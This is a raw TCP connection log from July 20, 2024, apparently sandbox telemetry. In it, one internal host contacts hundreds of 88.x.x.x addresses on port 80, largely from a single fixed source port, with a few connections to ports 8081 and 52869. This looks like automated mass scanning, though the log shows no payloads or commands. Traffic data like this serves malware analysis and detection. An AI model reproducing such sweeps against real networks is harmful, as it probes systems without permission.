Jul 20, 2024 23:00:59.909730911 CEST	80	45364	88.86.157.38	192.168.2.13
Jul 20, 2024 23:00:59.909758091 CEST	80	58018	88.183.147.254	192.168.2.13
Jul 20, 2024 23:00:59.909785032 CEST	80	51798	88.79.104.187	192.168.2.13
Jul 20, 2024 23:00:59.909811974 CEST	80	33438	88.208.128.4	192.168.2.13
Jul 20, 2024 23:00:59.909837961 CEST	80	53902	88.36.60.173	192.168.2.13
Jul 20, 2024 23:00:59.909951925 CEST	80	44276	88.133.183.152	192.168.2.13
Jul 20, 2024 23:00:59.909980059 CEST	80	34564	88.94.186.220	192.168.2.13
Jul 20, 2024 23:00:59.910006046 CEST	80	51280	88.62.196.103	192.168.2.13
Jul 20, 2024 23:00:59.910034895 CEST	80	49638	88.85.121.11	192.168.2.13
Jul 20, 2024 23:00:59.910062075 CEST	80	52444	88.25.193.103	192.168.2.13
Jul 20, 2024 23:00:59.910088062 CEST	80	40564	88.123.9.155	192.168.2.13
Jul 20, 2024 23:00:59.910115957 CEST	80	49658	88.248.146.190	192.168.2.13
Jul 20, 2024 23:00:59.910141945 CEST	80	34694	88.3.114.76	192.168.2.13
Jul 20, 2024 23:00:59.910170078 CEST	80	50738	88.91.21.190	192.168.2.13
Jul 20, 2024 23:00:59.910197020 CEST	80	51826	88.229.144.100	192.168.2.13
Jul 20, 2024 23:00:59.910223007 CEST	80	39200	88.182.133.26	192.168.2.13
Jul 20, 2024 23:00:59.910250902 CEST	80	50620	88.232.188.222	192.168.2.13
Jul 20, 2024 23:00:59.910296917 CEST	80	51128	88.183.179.90	192.168.2.13
Jul 20, 2024 23:00:59.910325050 CEST	80	49382	88.191.94.94	192.168.2.13
Jul 20, 2024 23:00:59.910603046 CEST	50568	80	192.168.2.13	88.14.202.89
Jul 20, 2024 23:00:59.910604000 CEST	50568	80	192.168.2.13	88.235.101.168
Jul 20, 2024 23:00:59.910604000 CEST	50568	80	192.168.2.13	88.96.232.196
Jul 20, 2024 23:00:59.910604000 CEST	50568	80	192.168.2.13	88.76.253.23
Jul 20, 2024 23:00:59.910604000 CEST	50568	80	192.168.2.13	88.95.77.252
Jul 20, 2024 23:00:59.910604000 CEST	50568	80	192.168.2.13	88.142.110.16
Jul 20, 2024 23:00:59.910604000 CEST	50568	80	192.168.2.13	88.193.151.195
Jul 20, 2024 23:00:59.911026955 CEST	80	50568	88.180.99.105	192.168.2.13
Jul 20, 2024 23:00:59.911108971 CEST	58976	80	192.168.2.13	88.40.83.143
Jul 20, 2024 23:00:59.911108971 CEST	60152	80	192.168.2.13	88.119.103.131
Jul 20, 2024 23:00:59.911108971 CEST	50568	80	192.168.2.13	88.187.137.243
Jul 20, 2024 23:00:59.911108971 CEST	50568	80	192.168.2.13	88.254.193.19
Jul 20, 2024 23:00:59.911108971 CEST	50568	80	192.168.2.13	88.55.82.184
Jul 20, 2024 23:00:59.911108971 CEST	50568	80	192.168.2.13	88.108.216.48
Jul 20, 2024 23:00:59.911108971 CEST	50568	80	192.168.2.13	88.107.211.94
Jul 20, 2024 23:00:59.911108971 CEST	50568	80	192.168.2.13	88.218.238.27
Jul 20, 2024 23:00:59.911164999 CEST	50568	80	192.168.2.13	88.80.198.142
Jul 20, 2024 23:00:59.911164999 CEST	37536	8081	192.168.2.13	1.190.106.28
Jul 20, 2024 23:00:59.911164999 CEST	50568	80	192.168.2.13	88.41.172.45
Jul 20, 2024 23:00:59.911164999 CEST	50568	80	192.168.2.13	88.211.58.217
Jul 20, 2024 23:00:59.911164999 CEST	50568	80	192.168.2.13	88.70.58.249
Jul 20, 2024 23:00:59.911164999 CEST	50568	80	192.168.2.13	88.224.81.194
Jul 20, 2024 23:00:59.911164999 CEST	50568	80	192.168.2.13	88.58.241.41
Jul 20, 2024 23:00:59.911164999 CEST	50568	80	192.168.2.13	88.18.232.148
Jul 20, 2024 23:00:59.911694050 CEST	80	50568	88.194.165.251	192.168.2.13
Jul 20, 2024 23:00:59.912261009 CEST	50568	80	192.168.2.13	88.127.52.38
Jul 20, 2024 23:00:59.912261009 CEST	50568	80	192.168.2.13	88.204.243.130
Jul 20, 2024 23:00:59.912261009 CEST	50568	80	192.168.2.13	88.22.209.232
Jul 20, 2024 23:00:59.912261009 CEST	50568	80	192.168.2.13	88.120.8.20
Jul 20, 2024 23:00:59.912261009 CEST	50568	80	192.168.2.13	88.37.52.64
Jul 20, 2024 23:00:59.912261009 CEST	50568	80	192.168.2.13	88.90.29.0
Jul 20, 2024 23:00:59.912261009 CEST	50568	80	192.168.2.13	88.79.139.81
Jul 20, 2024 23:00:59.912261009 CEST	50568	80	192.168.2.13	88.113.60.123
Jul 20, 2024 23:00:59.912516117 CEST	50568	80	192.168.2.13	88.198.199.244
Jul 20, 2024 23:00:59.912516117 CEST	50568	80	192.168.2.13	88.17.211.31
Jul 20, 2024 23:00:59.912516117 CEST	50568	80	192.168.2.13	88.66.90.171
Jul 20, 2024 23:00:59.912516117 CEST	50568	80	192.168.2.13	88.50.196.253
Jul 20, 2024 23:00:59.912516117 CEST	50568	80	192.168.2.13	88.26.16.3
Jul 20, 2024 23:00:59.912516117 CEST	50568	80	192.168.2.13	88.155.50.250
Jul 20, 2024 23:00:59.912516117 CEST	50568	80	192.168.2.13	88.112.100.222
Jul 20, 2024 23:00:59.912516117 CEST	50568	80	192.168.2.13	88.184.119.151
Jul 20, 2024 23:00:59.912529945 CEST	80	50568	88.74.83.5	192.168.2.13
Jul 20, 2024 23:00:59.913249016 CEST	80	55280	88.60.255.249	192.168.2.13
Jul 20, 2024 23:00:59.913265944 CEST	80	52572	88.193.78.207	192.168.2.13
Jul 20, 2024 23:00:59.913278103 CEST	80	53834	88.42.182.254	192.168.2.13
Jul 20, 2024 23:00:59.913290977 CEST	80	42702	88.147.170.219	192.168.2.13
Jul 20, 2024 23:00:59.913302898 CEST	80	53918	88.180.85.169	192.168.2.13
Jul 20, 2024 23:00:59.913314104 CEST	80	41372	88.143.197.12	192.168.2.13
Jul 20, 2024 23:00:59.913326025 CEST	80	41478	88.222.100.42	192.168.2.13
Jul 20, 2024 23:00:59.913347006 CEST	80	37876	88.130.132.206	192.168.2.13
Jul 20, 2024 23:00:59.913362980 CEST	80	37458	88.39.167.212	192.168.2.13
Jul 20, 2024 23:00:59.913377047 CEST	80	55320	88.11.53.195	192.168.2.13
Jul 20, 2024 23:00:59.913388014 CEST	80	45002	88.179.97.55	192.168.2.13
Jul 20, 2024 23:00:59.913398981 CEST	80	59672	88.11.238.53	192.168.2.13
Jul 20, 2024 23:00:59.913410902 CEST	80	51470	88.214.91.164	192.168.2.13
Jul 20, 2024 23:00:59.913423061 CEST	80	35566	88.100.181.189	192.168.2.13
Jul 20, 2024 23:00:59.913434029 CEST	80	60100	88.110.99.36	192.168.2.13
Jul 20, 2024 23:00:59.913445950 CEST	80	34820	88.235.23.149	192.168.2.13
Jul 20, 2024 23:00:59.913456917 CEST	80	37746	88.115.87.106	192.168.2.13
Jul 20, 2024 23:00:59.913467884 CEST	80	57564	88.55.81.133	192.168.2.13
Jul 20, 2024 23:00:59.913479090 CEST	80	54894	88.95.76.231	192.168.2.13
Jul 20, 2024 23:00:59.913491011 CEST	80	32876	88.139.53.242	192.168.2.13
Jul 20, 2024 23:00:59.913502932 CEST	80	55966	88.72.207.1	192.168.2.13
Jul 20, 2024 23:00:59.913515091 CEST	80	35426	88.84.148.82	192.168.2.13
Jul 20, 2024 23:00:59.913531065 CEST	80	37746	88.188.103.1	192.168.2.13
Jul 20, 2024 23:00:59.913549900 CEST	80	43126	88.203.34.200	192.168.2.13
Jul 20, 2024 23:00:59.913562059 CEST	80	47870	88.194.253.45	192.168.2.13
Jul 20, 2024 23:00:59.913573027 CEST	80	36934	88.229.215.174	192.168.2.13
Jul 20, 2024 23:00:59.913583994 CEST	80	40978	88.228.89.154	192.168.2.13
Jul 20, 2024 23:00:59.913595915 CEST	80	49858	88.28.171.163	192.168.2.13
Jul 20, 2024 23:00:59.913610935 CEST	80	34928	88.173.127.131	192.168.2.13
Jul 20, 2024 23:00:59.913624048 CEST	80	33222	88.254.213.91	192.168.2.13
Jul 20, 2024 23:00:59.913635969 CEST	80	53304	88.46.192.156	192.168.2.13
Jul 20, 2024 23:00:59.913647890 CEST	80	54690	88.175.159.46	192.168.2.13
Jul 20, 2024 23:00:59.913659096 CEST	80	54918	88.51.29.49	192.168.2.13
Jul 20, 2024 23:00:59.913671970 CEST	80	56732	88.10.119.162	192.168.2.13
Jul 20, 2024 23:00:59.913691998 CEST	80	53922	88.146.249.166	192.168.2.13
Jul 20, 2024 23:00:59.913703918 CEST	80	47842	88.91.94.195	192.168.2.13
Jul 20, 2024 23:00:59.913716078 CEST	80	40250	88.194.51.20	192.168.2.13
Jul 20, 2024 23:00:59.913733959 CEST	80	59148	88.92.124.171	192.168.2.13
Jul 20, 2024 23:00:59.913746119 CEST	80	52010	88.36.251.157	192.168.2.13
Jul 20, 2024 23:00:59.913758039 CEST	80	42238	88.185.18.207	192.168.2.13
Jul 20, 2024 23:00:59.913769007 CEST	80	38742	88.241.177.22	192.168.2.13
Jul 20, 2024 23:00:59.913779974 CEST	50568	80	192.168.2.13	88.38.136.61
Jul 20, 2024 23:00:59.913779974 CEST	50568	80	192.168.2.13	88.209.159.72
Jul 20, 2024 23:00:59.913779974 CEST	50568	80	192.168.2.13	88.117.77.152
Jul 20, 2024 23:00:59.913781881 CEST	80	32800	88.42.123.165	192.168.2.13
Jul 20, 2024 23:00:59.913779974 CEST	50568	80	192.168.2.13	88.87.72.63
Jul 20, 2024 23:00:59.913779974 CEST	53846	80	192.168.2.13	88.124.234.147
Jul 20, 2024 23:00:59.913779974 CEST	55966	80	192.168.2.13	88.124.135.162
Jul 20, 2024 23:00:59.913779974 CEST	51798	80	192.168.2.13	88.79.104.187
Jul 20, 2024 23:00:59.913779974 CEST	44276	80	192.168.2.13	88.133.183.152
Jul 20, 2024 23:00:59.913794041 CEST	80	56764	88.149.225.52	192.168.2.13
Jul 20, 2024 23:00:59.913805008 CEST	80	54314	88.5.120.65	192.168.2.13
Jul 20, 2024 23:00:59.913816929 CEST	80	36162	88.224.163.182	192.168.2.13
Jul 20, 2024 23:00:59.913827896 CEST	80	60806	88.57.169.186	192.168.2.13
Jul 20, 2024 23:00:59.913839102 CEST	80	34592	88.144.101.120	192.168.2.13
Jul 20, 2024 23:00:59.913856030 CEST	80	43696	88.95.27.60	192.168.2.13
Jul 20, 2024 23:00:59.913873911 CEST	80	52278	88.45.43.209	192.168.2.13
Jul 20, 2024 23:00:59.913887024 CEST	80	41116	88.88.172.117	192.168.2.13
Jul 20, 2024 23:00:59.913901091 CEST	80	39434	88.95.217.148	192.168.2.13
Jul 20, 2024 23:00:59.913913012 CEST	80	60706	88.109.221.124	192.168.2.13
Jul 20, 2024 23:00:59.913924932 CEST	80	38628	88.72.140.110	192.168.2.13
Jul 20, 2024 23:00:59.913937092 CEST	80	39224	88.46.94.155	192.168.2.13
Jul 20, 2024 23:00:59.913949013 CEST	80	42156	88.239.53.105	192.168.2.13
Jul 20, 2024 23:00:59.913959980 CEST	80	38190	88.39.208.120	192.168.2.13
Jul 20, 2024 23:00:59.913973093 CEST	80	55366	88.151.199.19	192.168.2.13
Jul 20, 2024 23:00:59.913984060 CEST	80	60178	88.144.5.185	192.168.2.13
Jul 20, 2024 23:00:59.913995981 CEST	80	59482	88.207.103.153	192.168.2.13
Jul 20, 2024 23:00:59.914007902 CEST	80	50166	88.92.101.150	192.168.2.13
Jul 20, 2024 23:00:59.914019108 CEST	80	43198	88.233.245.46	192.168.2.13
Jul 20, 2024 23:00:59.914031029 CEST	80	57014	88.50.180.63	192.168.2.13
Jul 20, 2024 23:00:59.914042950 CEST	80	45256	88.43.79.4	192.168.2.13
Jul 20, 2024 23:00:59.914053917 CEST	80	46634	88.56.0.126	192.168.2.13
Jul 20, 2024 23:00:59.914077044 CEST	80	41668	88.23.226.239	192.168.2.13
Jul 20, 2024 23:00:59.914088964 CEST	80	50568	88.196.158.1	192.168.2.13
Jul 20, 2024 23:00:59.914100885 CEST	80	50568	88.2.59.118	192.168.2.13
Jul 20, 2024 23:00:59.914112091 CEST	80	50568	88.65.22.95	192.168.2.13
Jul 20, 2024 23:00:59.914123058 CEST	80	50568	88.129.108.32	192.168.2.13
Jul 20, 2024 23:00:59.914134026 CEST	80	50568	88.212.216.208	192.168.2.13
Jul 20, 2024 23:00:59.914146900 CEST	80	50568	88.165.239.52	192.168.2.13
Jul 20, 2024 23:00:59.914163113 CEST	80	50568	88.73.253.215	192.168.2.13
Jul 20, 2024 23:00:59.914175034 CEST	80	50568	88.28.77.235	192.168.2.13
Jul 20, 2024 23:00:59.914195061 CEST	80	50568	88.251.60.32	192.168.2.13
Jul 20, 2024 23:00:59.914196968 CEST	50568	80	192.168.2.13	88.33.168.179
Jul 20, 2024 23:00:59.914196968 CEST	50568	80	192.168.2.13	88.148.160.40
Jul 20, 2024 23:00:59.914196968 CEST	50568	80	192.168.2.13	88.207.100.111
Jul 20, 2024 23:00:59.914196968 CEST	50568	80	192.168.2.13	88.18.139.207
Jul 20, 2024 23:00:59.914196968 CEST	50568	80	192.168.2.13	88.250.75.187
Jul 20, 2024 23:00:59.914196968 CEST	50568	80	192.168.2.13	88.246.147.66
Jul 20, 2024 23:00:59.914196968 CEST	35386	80	192.168.2.13	88.236.162.163
Jul 20, 2024 23:00:59.914196968 CEST	40316	80	192.168.2.13	88.12.158.127
Jul 20, 2024 23:00:59.914305925 CEST	80	50568	88.92.108.28	192.168.2.13
Jul 20, 2024 23:00:59.914319038 CEST	80	50568	88.155.246.34	192.168.2.13
Jul 20, 2024 23:00:59.914326906 CEST	50568	80	192.168.2.13	88.78.240.0
Jul 20, 2024 23:00:59.914326906 CEST	50568	80	192.168.2.13	88.165.251.73
Jul 20, 2024 23:00:59.914326906 CEST	50568	80	192.168.2.13	88.133.110.144
Jul 20, 2024 23:00:59.914326906 CEST	50568	80	192.168.2.13	88.92.241.198
Jul 20, 2024 23:00:59.914328098 CEST	50568	80	192.168.2.13	88.132.15.37
Jul 20, 2024 23:00:59.914328098 CEST	50568	80	192.168.2.13	88.54.128.234
Jul 20, 2024 23:00:59.914328098 CEST	50568	80	192.168.2.13	88.146.90.18
Jul 20, 2024 23:00:59.914328098 CEST	50568	80	192.168.2.13	88.146.110.20
Jul 20, 2024 23:00:59.914473057 CEST	80	50568	88.201.141.17	192.168.2.13
Jul 20, 2024 23:00:59.914484978 CEST	80	50568	88.131.43.170	192.168.2.13
Jul 20, 2024 23:00:59.914498091 CEST	80	50568	88.208.93.106	192.168.2.13
Jul 20, 2024 23:00:59.914705038 CEST	80	50568	88.150.117.231	192.168.2.13
Jul 20, 2024 23:00:59.914716959 CEST	80	50568	88.155.204.21	192.168.2.13
Jul 20, 2024 23:00:59.914813042 CEST	80	50568	88.9.113.163	192.168.2.13
Jul 20, 2024 23:00:59.914824009 CEST	80	50568	88.244.245.204	192.168.2.13
Jul 20, 2024 23:00:59.914835930 CEST	80	50568	88.207.154.173	192.168.2.13
Jul 20, 2024 23:00:59.915462017 CEST	80	50568	88.211.132.181	192.168.2.13
Jul 20, 2024 23:00:59.915474892 CEST	80	50568	88.191.187.105	192.168.2.13
Jul 20, 2024 23:00:59.915487051 CEST	80	50568	88.149.54.132	192.168.2.13
Jul 20, 2024 23:00:59.915801048 CEST	80	50568	88.56.164.111	192.168.2.13
Jul 20, 2024 23:00:59.915812969 CEST	80	50568	88.82.169.115	192.168.2.13
Jul 20, 2024 23:00:59.915826082 CEST	80	50568	88.221.77.78	192.168.2.13
Jul 20, 2024 23:00:59.915838003 CEST	50568	80	192.168.2.13	88.195.170.165
Jul 20, 2024 23:00:59.915838003 CEST	50568	80	192.168.2.13	88.7.129.4
Jul 20, 2024 23:00:59.915838003 CEST	45272	80	192.168.2.13	88.114.68.157
Jul 20, 2024 23:00:59.915838003 CEST	45364	80	192.168.2.13	88.86.157.38
Jul 20, 2024 23:00:59.915838003 CEST	34564	80	192.168.2.13	88.94.186.220
Jul 20, 2024 23:00:59.915838003 CEST	40564	80	192.168.2.13	88.123.9.155
Jul 20, 2024 23:00:59.915838003 CEST	50620	80	192.168.2.13	88.232.188.222
Jul 20, 2024 23:00:59.915838003 CEST	50568	80	192.168.2.13	88.28.77.235
Jul 20, 2024 23:00:59.916120052 CEST	80	50568	88.92.246.25	192.168.2.13
Jul 20, 2024 23:00:59.916131973 CEST	80	50568	88.14.202.89	192.168.2.13
Jul 20, 2024 23:00:59.916143894 CEST	80	50568	88.124.176.110	192.168.2.13
Jul 20, 2024 23:00:59.916156054 CEST	80	50568	88.26.20.160	192.168.2.13
Jul 20, 2024 23:00:59.916269064 CEST	50568	80	192.168.2.13	88.249.249.211
Jul 20, 2024 23:00:59.916269064 CEST	50568	80	192.168.2.13	88.61.209.88
Jul 20, 2024 23:00:59.916269064 CEST	50568	80	192.168.2.13	88.39.185.219
Jul 20, 2024 23:00:59.916269064 CEST	50568	80	192.168.2.13	88.228.29.62
Jul 20, 2024 23:00:59.916269064 CEST	50568	80	192.168.2.13	88.148.88.23
Jul 20, 2024 23:00:59.916269064 CEST	50568	80	192.168.2.13	88.182.231.180
Jul 20, 2024 23:00:59.916269064 CEST	50568	80	192.168.2.13	88.98.238.6
Jul 20, 2024 23:00:59.916269064 CEST	50568	80	192.168.2.13	88.186.222.227
Jul 20, 2024 23:00:59.916507959 CEST	80	50568	88.191.61.195	192.168.2.13
Jul 20, 2024 23:00:59.916521072 CEST	80	50568	88.134.250.2	192.168.2.13
Jul 20, 2024 23:00:59.916851044 CEST	80	50568	88.80.198.142	192.168.2.13
Jul 20, 2024 23:00:59.916862965 CEST	80	50568	88.127.108.167	192.168.2.13
Jul 20, 2024 23:00:59.916954994 CEST	80	44208	88.207.39.160	192.168.2.13
Jul 20, 2024 23:00:59.916968107 CEST	80	42258	88.59.14.239	192.168.2.13
Jul 20, 2024 23:00:59.916980028 CEST	80	41770	88.191.74.35	192.168.2.13
Jul 20, 2024 23:00:59.916992903 CEST	80	36468	88.172.217.29	192.168.2.13
Jul 20, 2024 23:00:59.917004108 CEST	80	53550	88.15.130.209	192.168.2.13
Jul 20, 2024 23:00:59.917016029 CEST	80	33530	88.72.206.136	192.168.2.13
Jul 20, 2024 23:00:59.917027950 CEST	80	51708	88.217.111.86	192.168.2.13
Jul 20, 2024 23:00:59.917041063 CEST	80	33166	88.204.108.175	192.168.2.13
Jul 20, 2024 23:00:59.917052031 CEST	80	58356	88.142.208.235	192.168.2.13
Jul 20, 2024 23:00:59.917063951 CEST	80	39488	88.194.170.76	192.168.2.13
Jul 20, 2024 23:00:59.917076111 CEST	80	33096	88.168.133.200	192.168.2.13
Jul 20, 2024 23:00:59.917088032 CEST	80	41044	88.31.145.92	192.168.2.13
Jul 20, 2024 23:00:59.917098999 CEST	80	39832	88.144.85.68	192.168.2.13
Jul 20, 2024 23:00:59.917110920 CEST	80	39950	88.245.235.139	192.168.2.13
Jul 20, 2024 23:00:59.917121887 CEST	80	41886	88.117.222.91	192.168.2.13
Jul 20, 2024 23:00:59.917133093 CEST	80	49872	88.36.207.19	192.168.2.13
Jul 20, 2024 23:00:59.917144060 CEST	80	40490	88.47.144.213	192.168.2.13
Jul 20, 2024 23:00:59.917156935 CEST	80	50826	88.182.133.67	192.168.2.13
Jul 20, 2024 23:00:59.917169094 CEST	80	50568	88.191.85.56	192.168.2.13
Jul 20, 2024 23:00:59.917223930 CEST	80	50568	88.235.101.168	192.168.2.13
Jul 20, 2024 23:00:59.917237043 CEST	80	50568	88.53.65.5	192.168.2.13
Jul 20, 2024 23:00:59.917248964 CEST	80	50568	88.165.214.168	192.168.2.13
Jul 20, 2024 23:00:59.917259932 CEST	80	50568	88.96.232.196	192.168.2.13
Jul 20, 2024 23:00:59.917310953 CEST	50568	80	192.168.2.13	88.56.91.131
Jul 20, 2024 23:00:59.917310953 CEST	50568	80	192.168.2.13	88.76.11.105
Jul 20, 2024 23:00:59.917310953 CEST	50568	80	192.168.2.13	88.77.110.197
Jul 20, 2024 23:00:59.917310953 CEST	50568	80	192.168.2.13	88.13.173.133
Jul 20, 2024 23:00:59.917310953 CEST	50568	80	192.168.2.13	88.44.88.2
Jul 20, 2024 23:00:59.917310953 CEST	50568	80	192.168.2.13	88.140.19.134
Jul 20, 2024 23:00:59.917310953 CEST	53184	52869	192.168.2.13	47.131.156.7
Jul 20, 2024 23:00:59.917310953 CEST	34694	80	192.168.2.13	88.3.114.76
Jul 20, 2024 23:00:59.917370081 CEST	48954	80	192.168.2.13	88.221.198.181
Jul 20, 2024 23:00:59.917370081 CEST	47080	80	192.168.2.13	88.187.51.16
Jul 20, 2024 23:00:59.917370081 CEST	41938	80	192.168.2.13	88.23.226.239
Jul 20, 2024 23:00:59.917370081 CEST	50568	80	192.168.2.13	88.6.208.198
Jul 20, 2024 23:00:59.917370081 CEST	50568	80	192.168.2.13	88.116.32.191
Jul 20, 2024 23:00:59.917370081 CEST	50568	80	192.168.2.13	88.145.242.252
Jul 20, 2024 23:00:59.917370081 CEST	50568	80	192.168.2.13	88.54.190.39
Jul 20, 2024 23:00:59.917370081 CEST	50568	80	192.168.2.13	88.19.70.223
Jul 20, 2024 23:00:59.917454958 CEST	80	50568	88.120.148.226	192.168.2.13
Jul 20, 2024 23:00:59.917468071 CEST	80	50568	88.104.112.235	192.168.2.13
Jul 20, 2024 23:00:59.917726040 CEST	80	50568	88.169.191.113	192.168.2.13
Jul 20, 2024 23:00:59.917737961 CEST	80	50568	88.62.154.187	192.168.2.13
Jul 20, 2024 23:00:59.917749882 CEST	80	50568	88.41.172.45	192.168.2.13
Jul 20, 2024 23:00:59.917761087 CEST	80	50568	88.211.58.217	192.168.2.13
Jul 20, 2024 23:00:59.918061972 CEST	80	50568	88.76.253.23	192.168.2.13
Jul 20, 2024 23:00:59.918077946 CEST	80	50568	88.98.173.186	192.168.2.13
Jul 20, 2024 23:00:59.918092012 CEST	80	50568	88.127.52.38	192.168.2.13
Jul 20, 2024 23:00:59.918103933 CEST	80	50568	88.2.182.131	192.168.2.13
Jul 20, 2024 23:00:59.918289900 CEST	80	50568	88.95.77.252	192.168.2.13
Jul 20, 2024 23:00:59.918396950 CEST	50568	80	192.168.2.13	88.129.126.202
Jul 20, 2024 23:00:59.918396950 CEST	50568	80	192.168.2.13	88.125.42.118
Jul 20, 2024 23:00:59.918396950 CEST	50568	80	192.168.2.13	88.5.45.227
Jul 20, 2024 23:00:59.918396950 CEST	50568	80	192.168.2.13	88.141.135.182
Jul 20, 2024 23:00:59.918396950 CEST	50568	80	192.168.2.13	88.131.123.27
Jul 20, 2024 23:00:59.918396950 CEST	50568	80	192.168.2.13	88.56.3.48
Jul 20, 2024 23:00:59.918396950 CEST	50568	80	192.168.2.13	88.39.211.37
Jul 20, 2024 23:00:59.918396950 CEST	50568	80	192.168.2.13	88.231.226.92
Jul 20, 2024 23:00:59.918458939 CEST	53902	80	192.168.2.13	88.36.60.173
Jul 20, 2024 23:00:59.918458939 CEST	51280	80	192.168.2.13	88.62.196.103
Jul 20, 2024 23:00:59.918458939 CEST	51128	80	192.168.2.13	88.183.179.90
Jul 20, 2024 23:00:59.918458939 CEST	50568	80	192.168.2.13	88.196.158.1
Jul 20, 2024 23:00:59.918458939 CEST	50568	80	192.168.2.13	88.212.216.208
Jul 20, 2024 23:00:59.918458939 CEST	50568	80	192.168.2.13	88.73.253.215
Jul 20, 2024 23:00:59.918458939 CEST	50568	80	192.168.2.13	88.155.246.34
Jul 20, 2024 23:00:59.918458939 CEST	50568	80	192.168.2.13	88.208.93.106
Jul 20, 2024 23:00:59.918710947 CEST	52444	80	192.168.2.13	88.25.193.103
Jul 20, 2024 23:00:59.918710947 CEST	49382	80	192.168.2.13	88.191.94.94
Jul 20, 2024 23:00:59.918710947 CEST	50568	80	192.168.2.13	88.207.154.173
Jul 20, 2024 23:00:59.918710947 CEST	50568	80	192.168.2.13	88.211.132.181
Jul 20, 2024 23:00:59.918710947 CEST	50568	80	192.168.2.13	88.82.169.115
Jul 20, 2024 23:00:59.918711901 CEST	50568	80	192.168.2.13	88.14.202.89
Jul 20, 2024 23:00:59.918711901 CEST	50568	80	192.168.2.13	88.235.101.168
Jul 20, 2024 23:00:59.918766022 CEST	80	53918	88.180.85.169	192.168.2.13
Jul 20, 2024 23:00:59.918778896 CEST	80	42702	88.147.170.219	192.168.2.13
Jul 20, 2024 23:00:59.918791056 CEST	80	53834	88.42.182.254	192.168.2.13
Jul 20, 2024 23:00:59.918859959 CEST	80	52572	88.193.78.207	192.168.2.13
Jul 20, 2024 23:00:59.918872118 CEST	80	55280	88.60.255.249	192.168.2.13
Jul 20, 2024 23:00:59.918884993 CEST	80	46634	88.56.0.126	192.168.2.13
Jul 20, 2024 23:00:59.918895960 CEST	80	45256	88.43.79.4	192.168.2.13
Jul 20, 2024 23:00:59.918911934 CEST	80	57014	88.50.180.63	192.168.2.13
Jul 20, 2024 23:00:59.918931007 CEST	80	43198	88.233.245.46	192.168.2.13
Jul 20, 2024 23:00:59.919056892 CEST	80	50166	88.92.101.150	192.168.2.13
Jul 20, 2024 23:00:59.919079065 CEST	80	50568	88.198.199.244	192.168.2.13
Jul 20, 2024 23:00:59.919091940 CEST	80	50568	88.187.137.243	192.168.2.13
Jul 20, 2024 23:00:59.919107914 CEST	80	59482	88.207.103.153	192.168.2.13
Jul 20, 2024 23:00:59.919120073 CEST	80	50568	88.142.110.16	192.168.2.13
Jul 20, 2024 23:00:59.919131994 CEST	80	50568	88.1.204.170	192.168.2.13
Jul 20, 2024 23:00:59.919143915 CEST	80	60178	88.144.5.185	192.168.2.13
Jul 20, 2024 23:00:59.919157028 CEST	80	50568	88.17.211.31	192.168.2.13
Jul 20, 2024 23:00:59.919169903 CEST	80	43964	88.207.39.160	192.168.2.13
Jul 20, 2024 23:00:59.919182062 CEST	80	50568	88.254.193.19	192.168.2.13
Jul 20, 2024 23:00:59.919290066 CEST	80	50568	88.66.90.171	192.168.2.13
Jul 20, 2024 23:00:59.919302940 CEST	80	50568	88.193.151.195	192.168.2.13
Jul 20, 2024 23:00:59.919316053 CEST	80	55366	88.151.199.19	192.168.2.13
Jul 20, 2024 23:00:59.919327974 CEST	80	50568	88.50.196.253	192.168.2.13
Jul 20, 2024 23:00:59.919339895 CEST	80	50568	88.160.39.161	192.168.2.13
Jul 20, 2024 23:00:59.919352055 CEST	80	50568	88.38.136.61	192.168.2.13
Jul 20, 2024 23:00:59.919363976 CEST	80	38190	88.39.208.120	192.168.2.13
Jul 20, 2024 23:00:59.919375896 CEST	80	50568	88.26.16.3	192.168.2.13
Jul 20, 2024 23:00:59.919631958 CEST	80	50568	88.70.58.249	192.168.2.13
Jul 20, 2024 23:00:59.919645071 CEST	80	50568	88.223.235.110	192.168.2.13
Jul 20, 2024 23:00:59.919657946 CEST	80	42156	88.239.53.105	192.168.2.13
Jul 20, 2024 23:00:59.919670105 CEST	80	50568	88.106.209.195	192.168.2.13
Jul 20, 2024 23:00:59.919682026 CEST	80	39224	88.46.94.155	192.168.2.13
Jul 20, 2024 23:00:59.919694901 CEST	80	50568	88.204.243.130	192.168.2.13
Jul 20, 2024 23:00:59.919707060 CEST	80	38628	88.72.140.110	192.168.2.13
Jul 20, 2024 23:00:59.919719934 CEST	80	60706	88.109.221.124	192.168.2.13
Jul 20, 2024 23:00:59.919734001 CEST	80	39434	88.95.217.148	192.168.2.13
Jul 20, 2024 23:00:59.919745922 CEST	80	41116	88.88.172.117	192.168.2.13
Jul 20, 2024 23:00:59.919759035 CEST	80	50568	88.78.240.0	192.168.2.13
Jul 20, 2024 23:00:59.919771910 CEST	80	50568	88.22.209.232	192.168.2.13
Jul 20, 2024 23:00:59.919783115 CEST	80	52278	88.45.43.209	192.168.2.13
Jul 20, 2024 23:00:59.919795990 CEST	80	50568	88.165.251.73	192.168.2.13
Jul 20, 2024 23:00:59.919807911 CEST	80	43696	88.95.27.60	192.168.2.13
Jul 20, 2024 23:00:59.919820070 CEST	80	34592	88.144.101.120	192.168.2.13
Jul 20, 2024 23:00:59.919831991 CEST	80	60806	88.57.169.186	192.168.2.13
Jul 20, 2024 23:00:59.919843912 CEST	80	36162	88.224.163.182	192.168.2.13
Jul 20, 2024 23:00:59.919979095 CEST	80	54314	88.5.120.65	192.168.2.13
Jul 20, 2024 23:00:59.919991970 CEST	80	56764	88.149.225.52	192.168.2.13
Jul 20, 2024 23:00:59.920011044 CEST	80	50568	88.55.82.184	192.168.2.13
Jul 20, 2024 23:00:59.920023918 CEST	80	32800	88.42.123.165	192.168.2.13
Jul 20, 2024 23:00:59.920036077 CEST	80	50568	88.33.168.179	192.168.2.13
Jul 20, 2024 23:00:59.920047998 CEST	80	38742	88.241.177.22	192.168.2.13
Jul 20, 2024 23:00:59.920059919 CEST	80	42238	88.185.18.207	192.168.2.13
Jul 20, 2024 23:00:59.920070887 CEST	80	52010	88.36.251.157	192.168.2.13
Jul 20, 2024 23:00:59.920124054 CEST	80	59148	88.92.124.171	192.168.2.13
Jul 20, 2024 23:00:59.920135975 CEST	80	50568	88.224.81.194	192.168.2.13
Jul 20, 2024 23:00:59.920149088 CEST	80	50568	88.133.110.144	192.168.2.13
Jul 20, 2024 23:00:59.920161963 CEST	80	40250	88.194.51.20	192.168.2.13
Jul 20, 2024 23:00:59.920172930 CEST	80	47842	88.91.94.195	192.168.2.13
Jul 20, 2024 23:00:59.920185089 CEST	80	53922	88.146.249.166	192.168.2.13
Jul 20, 2024 23:00:59.920197010 CEST	80	56732	88.10.119.162	192.168.2.13
Jul 20, 2024 23:00:59.920275927 CEST	80	54918	88.51.29.49	192.168.2.13
